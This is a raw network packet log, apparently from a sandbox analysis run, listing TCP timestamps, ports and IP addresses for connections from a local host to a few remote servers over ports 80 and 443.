Oct 7, 2024 19:33:22.256526947 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.256622076 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.256633043 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.256643057 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.256671906 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.256671906 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.256757021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.256769896 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.256781101 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.256822109 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.256822109 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.256897926 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.256908894 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.256949902 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.257040024 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257050037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257075071 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.257337093 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257348061 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257359982 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257380962 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.257401943 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.257422924 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257493019 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.257497072 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257517099 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257529974 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257540941 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257551908 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.257551908 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.257601976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.257627010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257638931 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257649899 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257662058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257679939 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257684946 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.257716894 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.257716894 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.257740974 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257803917 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.257833958 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257844925 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257873058 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.257884026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257894993 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257906914 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.257910013 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.257957935 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.257957935 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.258105993 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258192062 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258203030 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258213043 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258229971 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258240938 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258251905 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258258104 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.258258104 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.258279085 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.258379936 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.258476973 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258533955 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258547068 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258575916 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.258605003 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.258639097 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258651018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258661985 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258671999 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258707047 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.258707047 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.258748055 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258759022 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258769989 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258780956 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258805990 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258810997 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.258810997 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.258819103 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258832932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258841038 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.258872986 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.258872986 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.258874893 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258888006 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258898973 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.258924007 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.258924007 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.258935928 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.412012100 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.412060976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.415091991 CEST	443	49775	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.415266037 CEST	443	49775	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.415354967 CEST	49775	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.415397882 CEST	49775	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.415397882 CEST	49775	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.415416956 CEST	443	49775	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.415426970 CEST	443	49775	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.417042971 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.417121887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.417582989 CEST	49779	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.417625904 CEST	443	49779	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.417695045 CEST	49779	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.417845011 CEST	49779	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.417850018 CEST	443	49779	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.418664932 CEST	443	49776	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.418819904 CEST	443	49776	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.418886900 CEST	49776	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.419023037 CEST	49776	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.419034004 CEST	443	49776	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.419044018 CEST	49776	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.419049025 CEST	443	49776	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.421158075 CEST	49780	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.421197891 CEST	443	49780	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.421258926 CEST	49780	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.421406031 CEST	49780	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.421417952 CEST	443	49780	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.463037968 CEST	443	49771	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.463104963 CEST	443	49771	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.463154078 CEST	49771	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.463437080 CEST	49771	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.463449955 CEST	443	49771	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.466780901 CEST	49781	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.466811895 CEST	443	49781	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.466893911 CEST	49781	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.467400074 CEST	49781	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.467412949 CEST	443	49781	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.915143013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.915503025 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.915771961 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:22.915863037 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.919398069 CEST	443	49777	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.919894934 CEST	49777	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.919919968 CEST	443	49777	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.919964075 CEST	443	49778	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.920339108 CEST	49777	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.920345068 CEST	443	49777	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.920411110 CEST	49778	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.920418978 CEST	443	49778	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.920748949 CEST	49778	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:22.920754910 CEST	443	49778	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:22.939287901 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:22.945179939 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:23.031645060 CEST	443	49778	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.031806946 CEST	443	49778	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.031852007 CEST	443	49777	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.031913996 CEST	49778	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.031933069 CEST	443	49777	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.031986952 CEST	49777	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.032073975 CEST	49778	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.032092094 CEST	443	49778	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.032103062 CEST	49777	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.032103062 CEST	49778	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.032103062 CEST	49777	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.032113075 CEST	443	49777	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.032119036 CEST	443	49778	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.032125950 CEST	443	49777	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.034806013 CEST	49784	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.034851074 CEST	443	49784	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.034910917 CEST	49785	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.034925938 CEST	49784	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.034946918 CEST	443	49785	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.035088062 CEST	49785	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.035104036 CEST	49784	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.035125017 CEST	443	49784	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.035207987 CEST	49785	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.035221100 CEST	443	49785	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.107341051 CEST	443	49780	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.107964993 CEST	49780	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.107976913 CEST	443	49780	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.108442068 CEST	49780	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.108447075 CEST	443	49780	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.109076977 CEST	443	49779	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.109494925 CEST	49779	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.109508991 CEST	443	49779	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.109906912 CEST	49779	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.109910965 CEST	443	49779	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.119326115 CEST	443	49781	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.119503021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:23.119523048 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:23.119534016 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:23.119574070 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:23.119590998 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:23.119610071 CEST	49781	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.119632959 CEST	443	49781	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.119990110 CEST	49781	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.119996071 CEST	443	49781	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.122117996 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:23.127070904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:23.203843117 CEST	443	49780	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.204008102 CEST	443	49780	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.204078913 CEST	49780	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.204124928 CEST	49780	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.204139948 CEST	443	49780	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.204149008 CEST	49780	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.204154015 CEST	443	49780	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.205749035 CEST	443	49779	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.205826044 CEST	443	49779	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.205883026 CEST	49779	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.205960989 CEST	49779	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.205976963 CEST	443	49779	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.205986977 CEST	49779	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.205991983 CEST	443	49779	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.206695080 CEST	49786	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.206724882 CEST	443	49786	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.206783056 CEST	49786	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.206912994 CEST	49786	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.206924915 CEST	443	49786	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.207936049 CEST	49787	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.207963943 CEST	443	49787	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.208022118 CEST	49787	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.208152056 CEST	49787	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.208168983 CEST	443	49787	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.216346025 CEST	443	49781	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.216500998 CEST	443	49781	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.216564894 CEST	49781	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.216588020 CEST	49781	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.216588020 CEST	49781	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.216600895 CEST	443	49781	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.216608047 CEST	443	49781	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.218426943 CEST	49788	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.218446016 CEST	443	49788	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.218514919 CEST	49788	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.218763113 CEST	49788	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.218776941 CEST	443	49788	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.299578905 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:23.299725056 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:23.306298971 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:23.311553955 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:23.522970915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:23.523358107 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:23.525785923 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:23.530819893 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:23.657763958 CEST	443	49785	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.658174992 CEST	49785	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.658185005 CEST	443	49785	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.658653975 CEST	49785	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.658658028 CEST	443	49785	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.673715115 CEST	443	49784	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.674022913 CEST	49784	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.674040079 CEST	443	49784	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.674504995 CEST	49784	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.674510956 CEST	443	49784	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.736887932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:23.738347054 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:23.753443003 CEST	443	49785	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.753618002 CEST	443	49785	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.753671885 CEST	49785	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.753762007 CEST	49785	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.753777027 CEST	443	49785	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.753787041 CEST	49785	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.753793001 CEST	443	49785	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.755964994 CEST	49789	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.756004095 CEST	443	49789	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.756119013 CEST	49789	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.756202936 CEST	49789	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.756211042 CEST	443	49789	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.772557974 CEST	443	49784	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.772622108 CEST	443	49784	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.772659063 CEST	49784	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.772767067 CEST	49784	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.772787094 CEST	443	49784	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.772799015 CEST	49784	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.772808075 CEST	443	49784	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.774967909 CEST	49790	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.774985075 CEST	443	49790	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.775074005 CEST	49790	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.775194883 CEST	49790	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.775204897 CEST	443	49790	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.779695988 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:23.785439014 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:23.785496950 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:23.785604000 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:23.791053057 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:23.827675104 CEST	443	49786	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.828064919 CEST	49786	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.828083038 CEST	443	49786	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.828495026 CEST	49786	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.828499079 CEST	443	49786	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.830461979 CEST	443	49788	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.830739021 CEST	49788	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.830755949 CEST	443	49788	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.831187963 CEST	49788	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.831192970 CEST	443	49788	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.849596977 CEST	443	49787	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.849912882 CEST	49787	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.849925041 CEST	443	49787	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.850254059 CEST	49787	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.850260973 CEST	443	49787	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.929382086 CEST	443	49788	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.929430008 CEST	443	49788	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.929481030 CEST	49788	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.929616928 CEST	49788	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.929616928 CEST	49788	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.929630041 CEST	443	49788	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.929637909 CEST	443	49788	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.930941105 CEST	443	49786	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.931019068 CEST	443	49786	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.931066036 CEST	49786	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.931138039 CEST	49786	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.931152105 CEST	443	49786	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.931164980 CEST	49786	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.931171894 CEST	443	49786	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.931787968 CEST	49792	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.931808949 CEST	443	49792	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.931866884 CEST	49792	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.932086945 CEST	49792	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.932091951 CEST	443	49792	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.932746887 CEST	49793	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.932780027 CEST	443	49793	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.932841063 CEST	49793	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.932950020 CEST	49793	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.932960987 CEST	443	49793	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.949441910 CEST	443	49787	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.949600935 CEST	443	49787	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.949665070 CEST	49787	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.949737072 CEST	49787	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.949754000 CEST	443	49787	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.949765921 CEST	49787	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.949773073 CEST	443	49787	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.951404095 CEST	49794	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.951417923 CEST	443	49794	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:23.951481104 CEST	49794	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.951589108 CEST	49794	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:23.951598883 CEST	443	49794	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.414139986 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.414154053 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.414166927 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.414212942 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.414220095 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.414227009 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.414228916 CEST	49791	80	192.168.2.7	147.45.44.104
